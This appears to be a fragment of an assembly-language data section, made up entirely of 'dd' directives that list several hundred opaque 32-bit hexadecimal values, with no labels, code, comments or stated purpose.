		dd 0E23BAFC0h, 0A52C00A8h, 7B3EE9DCh, 0CC9C0019h, 9A59A982h
		dd 0B300EC8Ch, 0C45B4ADBh, 3345F14h, 45BD69CBh,	31E0C57Fh
		dd 9A7BB8F9h, 3711A80Bh, 0D1407C3h, 0D513E4F0h,	10FA3Fh
		dd 0C0317A49h, 0DD099804h, 255B9900h, 0F66B9CE0h, 9BE90027h
		dd 16EA47F4h, 0B4008D72h, 415A2DF0h, 3E693Ah, 708AC51Bh
		dd 363C60B8h, 0CD69000h, 0B796E565h, 0FC11E0BDh, 0AE4D070Ah
		dd 4048EB23h, 3EF3D158h, 0C89AB4A0h, 0D5501A00h, 0EB5A2F74h
		dd 17A100D0h, 67BB8992h, 0B5006C0Ch, 0D21B1838h, 1483F626h
		dd 0B0F505E9h, 0D066C400h, 27AC5F1Ch, 30AB2E0Ah, 0A880B44Eh
		dd 0BF17C704h, 0CE8A00C0h, 0B907851Ah, 4303C264h, 91FC9248h
		dd 53E4A0F2h, 0A69C0052h, 0ECBD373h, 0C40CBF4Bh, 0E83E854h
		dd 1AD63E66h, 0C81C968Fh, 0D728FEA0h, 6F07BCEAh, 2C1907E4h
		dd 74BFFA20h, 0C0DC70DBh, 0F7D4A338h, 0C000CA46h, 4381F561h
		dd 0F5EA11Ah, 8D0D3C90h, 409E99A0h, 0B002CD5h, 0E5D021B0h
		dd 5071397Ah, 0BE4900Ch, 44A3BF7Bh, 5C9E9980h, 0DD03BCF6h
		dd 1C8F9174h, 69ACF020h, 27E82C08h, 21920050h, 26833FD4h
		dd 0DC4D8803h, 0B0A4AA18h, 3153F017h, 0E758AEC9h, 115205Ch
		dd 0EC771F28h, 7C926B03h, 90A2A408h, 66AAA0h, 0DD369C63h
		dd 0A830D489h, 0B8002E72h, 0AB993DB9h, 0F26714Dh, 68D39A82h
		dd 7FA68E1Eh, 40ACDE3Eh, 0A7FF1239h, 0FD008748h, 43A177F8h
		dd 11015A5h, 9060EF30h,	0F481BFD7h, 60086DCh, 0A74C957Ah
		dd 0F79DDF4h, 0D6F51156h, 0CD6CC8A0h, 0BF4C2160h, 65E90BC8h
		dd 16D2838Eh, 0C8BAF269h, 1AAA444h, 0C3D088EFh,	20A3323Bh
		dd 4C001708h, 9F5CA847h, 36B89A5h, 0E96521DEh, 6FE898CFh
		dd 9B008ECDh, 699F8357h, 0AC871Bh, 0D66ADF0Ch, 0A7BAF641h
		dd 7DF0C100h, 0FA978296h
		dd 0BC391FCFh, 405D93A0h, 1B738FECh, 0D059D168h, 441A2454h
		dd 1361E402h, 205CE516h, 0F7B600E4h, 9EC860CAh,	1E00A13Ah
		dd 28E7777Ch, 0FB3F5A1Ah, 0B0E070h, 0F19CC749h,	0FB243B58h
		dd 800D443Fh, 0B31ED25Bh, 1E5BAD8h, 0D1606DE7h,	9E5C4F87h
		dd 820BBE28h, 7BC7818Ah, 90609136h, 785700D8h, 0C7EE705Ch
		dd 0F7007D40h, 0B3B161B4h, 24B838h, 39F33629h, 83488B6Dh
		dd 0C0DB7F00h, 80D82FE8h, 0E23F010Eh, 7A81D4BDh, 3DF3F8B1h
		dd 98E8200h, 332E169Ch,	29AD0054h, 0F8172FE7h, 0A3480A18h
		dd 2B81030Ch, 109387Eh,	9D2C9948h, 6068331Ch, 0DE00B39Ch
		dd 371F666Ch, 7834E0Fh,	86888A5Bh, 0B0A05F5Ch, 7D17444h
		dd 0A3598112h, 0A14C0Fh, 0BD73504Ah, 97900061h,	33B74002h
		dd 0AA39215Fh, 847F81A6h, 2E143604h, 4F64D0h, 3885370Ch
		dd 467D4374h, 2C3F23FEh, 62E80067h, 4E54A57Ah, 798784Dh
		dd 0A7C51E51h, 0FAF4A07Eh, 5D00D8AAh, 435AF05Ch, 91A181h
		dd 0AD19A0D9h, 20879D89h, 0C8E89528h, 0C40ECE00h, 2CA7FEAh
		dd 8007000Fh, 0F4D6A048h, 7B3A9CB4h, 70E080A8h,	4F5C376Bh
		dd 75400E6h, 67BA4911h,	7600C1BDh, 92F39882h, 0B0E00A1Eh
		dd 18D5007Ah, 0CC7FDCE5h, 2D28BCECh, 0DD38B0A8h, 2C0C003Fh
		dd 0DACD0E55h, 8C54004Bh, 3906DEE7h, 7F052FDDh,	6DA1CAC7h
		dd 3D91BCD0h, 1D720AB5h, 3CC0A9Bh, 0F0A11039h, 0AE02E9D8h
		dd 0C2BBFA00h, 136D672h, 0CF150076h, 0C51108DBh, 0FB3F55F7h
		dd 0D79B84F6h, 6880C24Eh, 3C22DA90h, 0C71CB5D5h, 0F481403Bh
		dd 23ADEE8h, 0C841C00h,	0D5A17FF7h, 0F97B0C96h,	56FA91B1h
		dd 59B29E03h, 88FBD735h, 7CCBCD06h, 4273003Bh, 2C283752h
		dd 0CE078CE6h, 66B5EEBh, 2490AA77h, 28B26B8h, 396510D4h
		dd 9CE168DCh, 1BE870B4h, 0FF7F4BF4h, 0BDABAF02h, 605CC17Bh
		dd 0B38284h, 9AC9F961h,	0AC9E70B6h, 62C67900h, 0A3D76A3Ch
		dd 161800CAh, 95B23FF9h, 547252A6h, 22EDE201h, 0B7032926h
		dd 7991E420h, 5CB5E451h, 0F40988CFh, 5064BEE6h,	20006290h
		dd 8BC999AFh, 3C706968h, 0D10B3A9Fh, 0C049329h,	0D5A58012h
		dd 2E038454h, 83EC7D91h, 0FF220041h, 0B50A85F2h, 8C00F9E1h
		dd 0E5815D7Bh, 1BB4E71h, 0A9400B69h, 60B18B6Ch,	0D8760E4Ch
		dd 0D5432000h, 7ED9E2CDh, 8A170E9Ch, 0DC4744C8h, 7BA6201Dh
		dd 0EC018906h, 0A788F137h, 0E1C4B118h, 0EAFA00FCh, 533BBE4h
		dd 0C300F382h, 6A9E7771h, 3BBC66E3h, 3D8031CAh,	47E89F72h
		dd 0C13B3449h, 0D640ADE2h, 94E60300h, 0A7F0A94Dh, 9C007282h
		dd 1A503A15h, 106C634h,	6F74108Fh, 0E7358319h, 33417390h
		dd 0FF172600h, 23CD8BE2h, 0F18800ACh, 3FBDB9BAh, 7F070E68h
		dd 0B5344EC8h, 132EE02Fh, 7AC07E8Ch, 3E439h, 5F2878A0h
		dd 0A9E9D9DEh, 5DBC8914h, 5B8A12F8h, 0B64060C0h, 0A6E60088h
		dd 0B469DE81h, 8B09EC6Ah, 802E20D2h, 8EAD9A34h,	353C005Ah
		dd 0FE0A95EAh, 0BF002870h, 447BB30Fh, 50AD594Ah, 17CF8CEh
		dd 0BB5FE662h, 0E0DC820Ah, 548F147h, 5C4800BCh,	0B49FB5C0h
		dd 62F692h, 2DB02ADBh, 97A568A1h, 4BF634F8h, 8075C43Eh
		dd 4DD5F8CFh, 4E0B94Eh,	0D9A42966h, 0DBCA8058h,	8F0037F9h
		dd 9EC3D8EDh, 7C4EA3h, 4CAF9267h, 6264FE52h, 0AB18A40Eh
		dd 3F801DD8h, 0AE304FF7h, 0A80339C2h, 0D406007Dh, 446F8753h
		dd 6002FF0Eh, 52EE1F5Ah, 33EAE126h, 24537120h, 7B543Ch
		dd 0F643A548h, 0D32FDA76h, 0BA1400BFh, 6F7868h,	0FA0E40F5h
		dd 0B801EF8Bh, 80A49A58h, 0F5601575h, 86D1003Ah, 308951D0h
		dd 9800F755h, 0CE2FC128h, 57F0F3Fh, 0AED64B4Fh,	0C89C8022h
		dd 2E00A696h, 34738EBFh, 901D0E94h, 2AD5B80h, 0C8213F8Ch
		dd 4F69480h, 9805C958h,	6E7AC31Ah, 5CC28080h, 1A3771Ch
		dd 0EBB2D62Bh, 6085F377h, 7E00D782h, 0EA23F608h, 9991Eh
		dd 65ED7DF1h, 0C22ACB33h, 0ECD13B01h, 0E68F937Ah, 0A8CCF0h
		dd 0FE4516Dh, 0F7FF3D26h, 0ED0986FEh, 7107B33h,	31C3C940h
		dd 0CB4100D5h, 741A94EEh, 7138C601h, 50B10069h,	0ADC7DCFAh
		dd 0CAE10047h, 0FCAEB213h, 5000D94h, 0F33B517Ah, 0BA10E8D7h
		dd 41C0E5B0h, 0A3390556h, 802554D9h, 0C5D17F3Fh, 48267200h
		dd 3D05D6BAh, 0B0CBF9F5h, 0B217FC70h, 2A1C0068h, 0DD5A38F6h
		dd 4107FE93h, 0F0AB4DA0h, 24C01B85h, 1BC48CDh, 24E0B7B3h
		dd 7CB589E3h, 0F0F03F00h, 0F78B9100h, 0C67F42F9h, 781E0002h
		dd 0A895FACEh, 0A5010779h, 0EDF22AA9h, 74D87B80h, 0F8AC009Fh
		dd 0A1FA9A73h, 9212983Fh, 4807E1F5h, 8D213EA3h,	0C8201263h
		dd 0F1491DC4h, 37E6025Fh, 7C503F02h, 0CAEC5C18h, 3234C89h
		dd 0FB363A2Bh, 9A00C2Ah, 0D1609D63h, 45F14E21h,	0B238C76Fh
		dd 0C3807123h, 0A055ECA9h, 0ACB9200h, 0A212DD1Eh, 0BFC0004Dh
		dd 0E5C056Fh, 0FCF9310Dh, 0C600FEE2h, 37DA6DB4h, 1445F338h
		dd 0DD48F1D2h, 80E80474h, 90EC04DFh, 0D3CFE57Ch, 4850DD01h
		dd 47AB4E53h, 81AE819Dh, 92C45BF1h, 0C82DE37h, 5883B05Ch
		dd 0D021434Ch, 0C138E440h, 70C1D499h, 671FF2C0h, 2A05DFB2h
		dd 9CF0D37Ch, 0B88E0046h, 9BB0605h, 0DD00B24Ah,	89C8822Ah
		dd 4C1B1Dh, 0DF631229h,	6E3D6921h, 3E52F600h, 76BC8EE8h
		dd 33B800A9h, 891AD348h, 3A768272h, 4ED6EB1Ch, 71973E80h
		dd 3BF4324Ah, 0AC00CB05h, 51EAA315h, 2E8B712h, 0FC867D17h
		dd 637C2A00h, 7584C5AFh, 0D3FE011Ah, 5085D142h,	9088F44Ah
		dd 3403CAE4h, 16F62349h, 3A56B03Eh, 731F7359h, 4A1F239h
		dd 0C7443BAFh, 0B550B04Ah, 1DAD2000h, 1A41DDF6h, 0D48406BAh
		dd 8AFB7A2h, 0A4372406h, 0E230399Eh, 9639C01Dh,	7AFD35D3h
		dd 0D0EF6C03h, 90BD564Ah, 3F9FFE8Ah, 0A600B49Eh, 0F18DDB6h
		dd 9C0C58A2h, 411EE45Fh, 37D2003Ch, 3B1F5654h, 6A00495Ch
		dd 990B0893h, 4ABEA5Dh,	0FC5A034Dh, 0CDBCA015h,	26732800h
		dd 0EC62F76Fh, 75C80085h, 0E17BB43Dh, 8A011CDBh, 0D4A8C42Eh
		dd 7420C3AAh, 9F1E1EF0h, 80E4DE13h, 50B0957Bh, 1207450Ch
		dd 0D6DCF74Eh, 17818FC4h, 5C7C1E52h, 0EF968A01h, 241A091Fh
		dd 79006A94h, 7F194431h, 2465C4A7h, 43541FBBh, 6D0D50Bh
		dd 0F5907EC9h, 48BE0D24h, 4A52580h, 0E70E57h, 0DF2DF3BBh
		dd 4171B5BCh, 6CBD0C00h, 9CC1352Bh, 82570058h, 0AEC27CF6h
		dd 94F3311Ch, 0E4043010h, 2830C91Ch, 0FF6F90h, 20E919B9h
		dd 14F8A14Dh, 87F06217h, 411D1F02h, 0A307578Fh,	792EB3E5h
		dd 5C519FF0h, 0DF332A00h, 448A4136h, 0EEC10110h, 0A7F85B61h
		dd 7117608Bh, 98B45400h, 0AA99246h, 73D60033h, 0AEA5F5BEh
		dd 0D802422Bh, 0C8ABD5CDh, 3DA6343h, 0FD33A750h, 0FBC8A0B0h
		dd 2100F3C7h, 157195E1h, 0EF72AC0h, 7D4CB363h, 27A6CBA0h
		dd 0B000D83Eh, 45F4A08Ah, 0DDC226h, 0BBB42BE9h,	491DCE51h
		dd 0F1008DEEh, 8078F75Ah, 0FC3CEB74h, 5C751895h, 3FFC80ADh
		dd 0FD0A8201h, 5A77C326h, 50421980h, 0EA3B4060h, 0FD798000h
		dd 133F4E89h, 93D700ABh, 1A9BE85Ah, 0F10FC36Bh,	0A05E03C9h
		dd 75D386B0h, 4B4E00E7h, 586B7D20h, 8A00CE3Dh, 0FD072BD9h
		dd 77B2ADh, 0D64464E2h,	22BFE85Ch, 380D1326h, 6AD4C10Fh
		dd 0A99FE81Fh, 0E5429080h, 0A0D304D9h, 987FBA4h, 4693AA21h
		dd 23F73000h, 5F4C0B13h, 2582005Ch, 62B52722h, 0A24400B1h
		dd 0D9609754h, 0D3498E20h
		dd 0EE44808h, 80FF407Eh, 1D2F1E78h, 3ADEF8EAh, 0F24904h
		dd 552E5C3Eh, 0AC99EE44h, 6C9B5E00h, 0F9090E16h, 0BACA0253h
		dd 94C95C1Bh, 0DBA49880h, 620A768Ch, 0CC6C8852h, 7A73CA00h
		dd 950F89h, 71773E78h, 74DEE1ABh, 4C808700h, 73EB220Ch
		dd 0FC38003Ch, 9F080E75h, 0C80056BCh, 8EA44F78h, 1AE7F76h
		dd 1B868A49h, 0F0DCD04Bh, 1C1C12CDh, 87407562h,	95F3836Bh
		dd 1068076Ah, 10A0F64Ch, 49B3CF1Dh, 0C93DA472h,	91650059h
		dd 0CB4D4851h, 53230044h, 944B0688h, 0A10058EEh, 3986D537h
		dd 705257h, 0DD532723h,	7ABA28Eh, 0FC356F00h, 0BA71A459h
		dd 264B0030h, 44C3191Ch, 5A1C724Fh, 1DC39D64h, 0E8569CB9h
		dd 75618FD5h, 37413D55h, 2A0C4880h, 1FDA70C4h, 51841100h
		dd 0C74C0BF8h, 0FA313B54h, 496DE201h, 0CC93F120h, 0FF036807h
		dd 7CF99F28h, 99691D91h, 10264C92h, 31033830h, 56507427h
		dd 0EF93A0C4h, 2A98B3h,	2BA5222Dh, 87EA0386h, 426C600h
		dd 0E8F22E7Eh, 63E4C3h,	9DACF4EDh, 0B001185Bh, 0C6E0396Eh
		dd 91128Ah, 0EAFD2F32h,	0C23EE430h, 9F41CB00h, 8A7A2B82h
		dd 8DFA03E1h, 0BE07B4D3h, 465FA000h, 1A45A48Bh,	0B37400B5h
		dd 0D5E0604Eh, 756ED8C9h, 44439E41h, 0A2EA422Dh, 0A02040F8h
		dd 6F3C007Bh, 0FAE7BCB6h, 6007E9F0h, 629982BDh,	9A619D80h
		dd 0A39400DCh, 0C03A4F4Ch, 6E247BC4h, 4600BFE9h, 87CE90F7h
		dd 428F00C1h, 3E6D4B8Bh, 0BA00ED9Ah, 0D5E5F949h, 0B896BECFh
		dd 659F0045h, 9B1CD9A2h, 0E1269D0Bh, 1900CEE6h,	4C596929h
		dd 8BD300F7h, 0FEB5FB21h, 481D56AFh, 0BC800E8Ch, 653496C5h
		dd 1ED20C9Bh, 0D34172A4h, 0A649B100h, 0FC1199B2h, 542A0071h
		dd 3080886Bh, 8F0006ABh, 0B3A3249h, 0AEF569h, 0BE643C6Ah
		dd 0DCA8FBA2h, 0D0581800h, 96E4E5CCh, 0F1A500F3h, 9795EF8Eh
		dd 0BE007A86h, 0C39D0F1Dh, 47357E7h, 0E3FEB1B6h, 0BD7B8002h
		dd 8F1F69F4h, 0A4803260h, 0D254369Bh, 40800FEh,	6D587774h
		dd 3A7ACB87h, 0A9125FE0h, 1000A12Ch, 0BCB016A6h, 35830182h
		dd 0BAC5E7D0h, 88AF85Bh, 9ADE0903h, 98335101h, 982BA035h
		dd 7B4E001Eh, 82B788B9h, 0A8C0E59Dh, 7C90C08Eh,	9BD90067h
		dd 3EF48683h, 330093D3h, 51DA04DBh, 6D21C63h, 0B5EBDE97h
		dd 5C003866h, 0E6281D91h, 0B0A81AFBh, 500C3E8Ah, 9CD0EAB0h
		dd 8F7CB85Dh, 0FF43CC00h, 0A34CA0A2h, 285F0701h, 5E04B410h
		dd 0E4C0E74Eh, 4002B143h, 77FA3Eh, 0EF7232F1h, 5D3A38h
		dd 31C6210Fh, 0DA6B106Ah, 1820F630h, 3001238Fh,	3140F3E4h
		dd 610054CAh, 0AF8C123Fh, 56E2AD7h, 9B0F0617h, 0FAA008FFh
		dd 0E3F2D340h, 0C2A800D7h, 0A6282533h, 0FBE86B3Bh, 6CBA0400h
		dd 0DF63A529h, 0B30C011Eh, 6BF908C0h, 14CC400Dh, 0E8033ADEh
		dd 537D889Fh, 0BC1906A4h, 417C6389h, 9ED14A00h,	368E258Ch
		dd 0DE9040h, 0A18FC93Dh, 0EA41B6D3h, 78217906h,	8912A7h
		dd 6180DA7Ah, 0C06AE5E1h, 8AF17D00h, 6C282F2Ch,	5E7E1C83h
		dd 0F258401Bh, 0F4475DB7h, 4B413B02h, 8085F04Fh, 975BF770h
		dd 0AA31079Fh, 804BE02Fh, 0DC627A1Ch, 4F0EB800h, 4C086A5Fh
		dd 0BB5E0FE7h, 51601EE0h, 0C48FF812h, 90F07600h, 0D833BE1Dh
		dd 6F811D68h, 82EC8977h, 32509380h, 19C06B9Fh, 93DCDF8h
		dd 0A0101D76h, 59037BB5h, 3E625429h, 0D82428C0h, 0E60087F0h
		dd 0EBA6E351h, 6F387Ah,	9D954BB8h, 0F014BBE0h, 68FAB9A0h
		dd 0AEADBD00h, 0A0AF9387h, 0D5A584Ah, 2B7DE200h, 9D3F4072h
		dd 9E00FDF0h, 80DF2861h, 0F53B8496h, 0A8255930h, 4B93F8h
		dd 0C8CA94F7h, 30C29C10h, 0D7A47800h, 66BB793Bh, 0A3800038h
		dd 0B56721E9h, 6A002AE0h, 702856CAh, 0F2CFEBCh,	16F4B054h
		dd 7675B940h, 0EA30DDE3h, 7E2860FBh, 0C05274EBh, 9B34D070h
		dd 6C74D65Ch, 6145674h,	0C10C77Dh, 39FA19DEh, 73352C78h
		dd 1D2D1DC5h, 181D9B80h, 71E00DC3h, 2F00CD20h, 0D653F71Ch
		dd 0ADE752Dh, 0ED7E88BBh, 440F3E28h, 281D819Bh,	82460848h
		dd 3C244Ah, 0E82593A3h,	8BF76Bh, 8A48446Ah, 538AB37h, 83FF30C0h
		dd 66782417h, 98E0903Dh, 0C57C8F09h, 7580DD52h,	3BB0295Ah
		dd 0B744500h, 0F1F3AE32h, 0F4E101B8h, 0E75C08D3h, 0B57ADCE0h
		dd 0EE15DA00h, 0F16CBDCCh, 30E202h, 5C0EAA36h, 2941FEE5h
		dd 262B1100h, 0A5554765h, 0F3E878h, 3D750198h, 6036251Ch
		dd 0FFD1FE65h, 4BA043Ah, 224E7ABFh, 6DE9CC81h, 4024199Eh
		dd 0C053D0E8h, 0D800AC71h, 1843D964h, 67870D2h,	8E7AA34Ah
		dd 8A1E3820h, 5A07E625h, 54810371h, 61802136h, 8AB77F3Dh
		dd 0E7036974h, 7017A4B6h, 0F98315h, 0C88B4C89h,	0DE5EF81Dh
		dd 0A69B2407h, 804F1A1Fh, 0E9F4C719h, 30297157h, 66605412h
		dd 0AF3E11DEh, 0C4A793B1h, 0D621A703h, 0A6D90E13h, 3F00AB19h
		dd 0B9434540h, 0B042F700h, 0D1F306CFh, 2885016Eh, 0F0204CEh
		dd 0D060B2F1h, 26B62092h, 0ECB2BE03h, 35D07E00h, 0A1464DA8h
		dd 7C2A50BCh, 0A5502989h, 0B9048384h, 1C05FE4h,	0ED00CA7Fh
		dd 568F1D57h, 6E02BB5h,	0EB75837h, 4100B0D7h, 7C241084h
		dd 1975F3Fh, 0A31C62D3h, 806DF222h, 894757E8h, 4C988672h
		dd 4004CF0h, 0CF45781Ch, 36307AA2h, 85EB286Ch, 80F4AF2Bh
		dd 0B26E5694h, 75075A60h, 665282A3h, 6FC191C7h,	65D49ECAh
		dd 0FF9F00CBh, 0B367A34Eh, 7E005F4Dh, 86CF506Bh, 1FB75551h
		dd 9F625A95h, 4C8C802Bh, 0D3F93FBDh, 191AEF15h,	567501FCh
		dd 654622A5h, 0C300A0B8h, 0D4544F32h, 0BA2027E8h, 0D1890A52h
		dd 7C08D13h, 0E3CF02BFh, 23EBF71Dh, 198447D8h, 20856730h
		dd 29186B28h, 0E22074AFh, 0B33122BEh, 0D7FDA8E1h, 300A42F4h
		dd 8B907C52h, 0FC6E33F9h, 0C174C038h, 0F04A2BB4h, 7F98A853h
		dd 5E3C008Fh, 49B9CD6h,	8DC67DEh, 769221F0h, 1B16003Ch
		dd 66E412Bh, 0BC12F9C9h, 8434E1DAh, 2C4DFC4Ah, 5B3C7240h
		dd 227446D6h, 759D0061h, 10AB913Ch, 7915E67Eh, 0E4F603h
		dd 4BD79985h, 0E3BA594h, 830576Fh, 0DC101DA1h, 39F45031h
		dd 0FCAA1273h, 59009363h, 3EDB5B2Eh, 0A16A82h, 6F9F1B22h
		dd 9B54DE5Ah, 0D3607D1Fh, 755F6B01h, 418004D7h,	44E4A420h
		dd 470CBA8Ah, 89281FBh,	4321C015h, 62ABE4ACh, 2B7D609h
		dd 5900010Ah, 0D826168Ch, 715F6A0Ah, 0E4B8402Ch, 0DA468A40h
		dd 0A0F41B22h, 0FA91E400h, 0CDC4BEE6h, 8F031392h, 0DC5844BFh
		dd 765819FFh, 41C04019h, 2CA4C28Ah, 0E0401445h,	3A6773E4h
		dd 8E0018D4h, 8D63809h,	5F04F858h, 0FEEF0234h, 7E860C80h
		dd 4F6100E8h, 0BD536B5Eh, 66609A72h, 0A56268D0h, 0B0E20987h
		dd 0A600E5BCh, 378DD444h, 85F64F06h, 1583969h, 1A0CEDB7h
		dd 80D3A204h, 3170AD29h, 0EC015564h, 174B903h, 721C5A9Fh
		dd 2473F476h, 8457E33h,	0BD210387h, 152D1C53h, 4C6D4B90h
		dd 0BF5C5405h, 0BC04099Ah, 38865F45h, 7CA04658h, 76891C08h
		dd 58B8707Dh, 5B791C00h, 749A9892h, 0A5F8F8D7h,	6086C424h
		dd 3BF62A21h, 108B69D3h, 0DC9026D4h, 61503622h,	5549E9A0h
		dd 5907074Ch, 3C300DC7h, 984FA49Bh, 8110E3C4h, 0BC006C3Dh
		dd 0E7BD7921h, 0C12A2B06h, 62A7D638h, 7CA430D8h, 3866C131h
		dd 33002782h, 3E2D31Fh,	0ABEC98C2h, 0E4C445B4h,	0F7936064h
		dd 713F00C4h, 106284D8h, 730A1618h, 0F03505B6h,	46A71102h
		dd 0BCC08227h
		dd 0C0484D6Bh, 1C3F8293h, 0A4969B13h, 6890EC1Ch, 2497F73h
		dd 0BDA7E438h, 0D8486033h, 0C8776CB0h, 0E7018C0Bh, 3E90148Ah
		dd 91841781h, 8DBEB44Bh, 1A9C3098h, 6FB9940Bh, 0F0C010A3h
		dd 0F95E6A83h, 8AE30184h, 38C77D1h, 3756E182h, 4801402Dh
		dd 0A2B8C441h, 0AB53E86Bh, 3408BB66h, 49660F21h, 3680E3C4h
		dd 0FE2CDAD9h, 26E80F11h, 4202230Ch, 0D1128DA9h, 0B840886Fh
		dd 0A7D5FA74h, 0A8105126h, 30AC4042h, 8D111C5Bh, 84885D76h
		dd 1C54BC80h, 5609A38h,	0CFA80563h, 22D8809Dh, 0F706028Fh
		dd 9973D1C6h, 54754C70h, 60804300h, 0D7A56E40h,	7ECC0854h
		dd 0D807D300h, 582F204Dh, 73463D8Ch, 2F405B9h, 9DC5A0F6h
		dd 8CB050FFh, 0A611C447h, 3388BBA2h, 0C44F6887h, 0DD620AC0h
		dd 0E08C04E9h, 853D6DB6h, 49DC0924h, 3C8E5030h,	94435F7Eh
		dd 3C719180h, 7D0039ADh, 83BD8BFDh, 0B68546Ah, 0EA5A30E9h
		dd 0A4048C9Ah, 0D40265AFh, 0B1457670h, 0BF108AA4h, 0E63C1C51h
		dd 0A819BB92h, 44999889h, 7D856580h, 0B926A22h,	0D1E03D59h
		dd 6111A01Dh, 0F079AE80h, 1D288E74h, 0ECA38447h, 430DDAh
		dd 4C4484EAh, 4C40B4ACh, 0A6058C7Bh, 0AA8A46E4h, 4101548Eh
		dd 0DE9E4AEh, 3243937h,	27193BD5h, 881B588h, 89D5EF1h
		dd 0AF5107F9h, 0AD80CE75h, 0A75BAE38h, 104D7B0Bh, 622C838Eh
		dd 7F2ED068h, 74732AA5h, 52490FA0h, 10789A6h, 43A85A68h
		dd 890011D6h, 0C763A55Bh, 39E904D0h, 0A300125Dh, 0DEE147EEh
		dd 0B9DF8A0Ah, 80F9689Ah, 0AE0376C4h, 1DAF4FCh,	0ED0EAA23h
		dd 24478F88h, 9987D4h, 0CC108040h, 3B860972h, 301DD3C9h
		dd 0C209C6B9h, 885041DCh, 0BF59F800h, 8EAC8884h, 0D848EFD5h
		dd 761440B6h, 464CADF8h, 0EAB8A08Ch, 0A359CE63h, 3060252Eh
		dd 843C19A5h, 7C646900h, 0AC41B1D1h, 895200C8h,	1A81468h
		dd 3954366Fh, 97901ED8h, 7DEB200h, 819B03E3h, 12C50326h
		dd 24DDA9F2h, 6BBAE1CFh, 7A1020B6h, 0E4A5048Ch,	62A28A45h
		dd 0AD42201Dh, 0A3AC4E4h, 8AF30769h, 86005EDDh,	6A6AD7D5h
		dd 0CAD8C82Ah, 380CAB0h, 1F16B7EBh, 9D962805h, 90215F85h
		dd 0E5F32202h, 8588F88Eh, 97E2C2C0h, 0ECBA002Bh, 22A2BF1Fh
		dd 0F4A064DEh, 8B061BB2h, 41A58639h, 0BC900B70h, 54A47A22h
		dd 0C5ACF4E8h, 82C33B02h, 5A7538AEh, 0C4E85894h, 0DA3BBC80h
		dd 390979BBh, 0A74244DCh, 0A0D9B8C8h, 674D7864h, 0E94F2419h
		dd 74810284h, 8040A4FBh, 6448D601h, 23371020h, 0E15D5F00h
		dd 0A3EB0E92h, 0FE8A4306h, 0B130F675h, 1885D12Ch, 275502C1h
		dd 0AB0CB3E9h, 60E1BCE1h, 0F6422380h, 775F6A82h, 0BA04004Ch
		dd 0CA8A42E4h, 0A2004538h, 64DB0BE4h, 7A2FF6B2h, 0B857023Ch
		dd 4213D2B0h, 0A111A865h, 8E1C5E80h, 60A57576h,	1C57B901h
		dd 56D4D831h, 1288B099h, 0CE2942h, 0EAAE0BE0h, 3B2CDB57h
		dd 616050C7h, 7EF6BB59h, 877B0F80h, 0FD0F7144h,	0D04CABE5h
		dd 1E532704h, 786A9A24h, 17465Eh, 0AFF72910h, 4A119676h
		dd 0D784024Ch, 58420B8Eh, 0F7C050EDh, 471D8F1h,	36CC7550h
		dd 86089038h, 1000A69Bh, 0A7D93FACh, 8E083Ch, 18A9ADC1h
		dd 0CB74721Eh, 52B4E957h, 308BE214h, 0BA06594Bh, 0DD7F12Eh
		dd 0B1471DF1h, 98DA0083h, 772C9AA7h, 48ED6924h,	6BCE2804h
		dd 1BC8188Bh, 4E2EE1C0h, 0D1032E4Ah, 86760216h,	0A4822029h
		dd 0B0E4A068h, 0E174BEF8h, 748B3496h, 467482CFh, 25200C19h
		dd 12B14540h, 6E6BC7BFh, 3F90060h, 7DC842Eh, 9DC30166h
		dd 6B7D5A4h, 0D6689712h, 3BE07027h, 249EAF05h, 2CDC98F3h
		dd 0BE0001Ch, 1D7B391Fh, 890914B2h, 9F06FE1h, 58F0C648h
		dd 8C73284Fh, 0A3C702Ch, 28626416h, 7B9F2065h, 7300493Ch
		dd 0C53210B8h, 678BF0DDh, 0B47215Dh, 6D3B24C8h,	0D6E8DF0Ch
		dd 0E67B10Ch, 0CE91897Fh, 533D4F80h, 8CEAC0FAh,	50BD4526h
		dd 80B80394h, 1EADCD29h, 5E8C061Ah, 490A7439h, 0D8D70F2Eh
		dd 0D1700349h, 0ACB10CD5h, 5B41F702h, 0A614DB00h, 8E5948FFh
		dd 0B06B4947h, 4638C9B8h, 8E10767Dh, 8BE52355h,	0C08788CCh
		dd 0AFBB609Bh, 8E168490h, 48283111h, 278C2659h,	18670F30h
		dd 1E84EF40h, 0FC99D744h, 839A003Fh, 2B34FCBEh,	0C8E60363h
		dd 0FDDB96F4h, 99EB6C0h, 8160035Ch, 0EB1D5306h,	0E6D4A371h
		dd 4BBC07E8h, 0B03519DAh, 0BA0F88C4h, 68401C26h, 62FDF309h
		dd 0C490E51Ch, 6B34604Dh, 0A361005Ah, 0B084948Dh, 0BE24CFE9h
		dd 9CA198EBh, 1E1882F1h, 25701C90h, 65EAC70Fh, 198C0292h
		dd 920D08Bh, 56CE02BDh,	176458E7h, 48246760h, 0ED78514h
		dd 0BF6E000Ch, 0A91E020h, 64380012h, 0EB8A6C43h, 1A627ED7h
		dd 0E74440D0h, 606344D0h, 18435ABFh, 0B86B1A2Ah, 0BCA17B8Bh
		dd 5C401857h, 63251CC4h, 6102D896h, 39E0C448h, 0B94C7270h
		dd 2DB10040h, 6DF9F8D6h, 93E33700h, 8FB8051Dh, 1C74262Ah
		dd 8CC80C1Ch, 58C5579h,	0A2B9C442h, 67F83853h, 96C44A00h
		dd 974C6C24h, 2CB70064h, 8259F38Ch, 0E26404Dh, 0D03B6A8Ah
		dd 2A1055D0h, 304A65AAh, 9E7661E4h, 84443D24h, 0C340F02Eh
		dd 2407DFC2h, 8004F503h, 417588CEh, 6002BB0Bh, 6851D184h
		dd 86607AAAh, 0B5F4DCh,	32578DC7h, 0ABED43F1h, 0DC255406h
		dd 1261A06Fh, 428C4128h, 0E0D46604h, 3BF84E0h, 2002499h
		dd 0FEF0CEE9h, 60497CA7h, 7B81198Dh, 0C8731F64h, 0A5D71507h
		dd 86A03F20h, 12A47592h, 903758F1h, 35A7577Ch, 0F5F78900h
		dd 0DB5A1F8Ah, 36760E05h, 3B6C73F6h, 0BF007929h, 5B47EB64h
		dd 51C5F8h, 8656E98Bh, 68AE2E84h, 0D0624426h, 60CC0D42h
		dd 483B01BAh, 37F8D8F4h, 9CE6258Ch, 0BCB13498h,	0DE5E67EAh
		dd 7831B3F1h, 82A22463h, 2FA730h, 1AFFB516h, 0D652CBD7h
		dd 0CF203098h, 3AEE029Eh, 0BF383C6Dh, 16795CD9h, 0E60F5518h
		dd 89222AAAh, 5798415Dh, 0DECE2310h, 3006D801h,	353751CAh
		dd 6147F980h, 87BC1716h, 5B938h, 407C2432h, 78D043h, 0A54AE8D4h
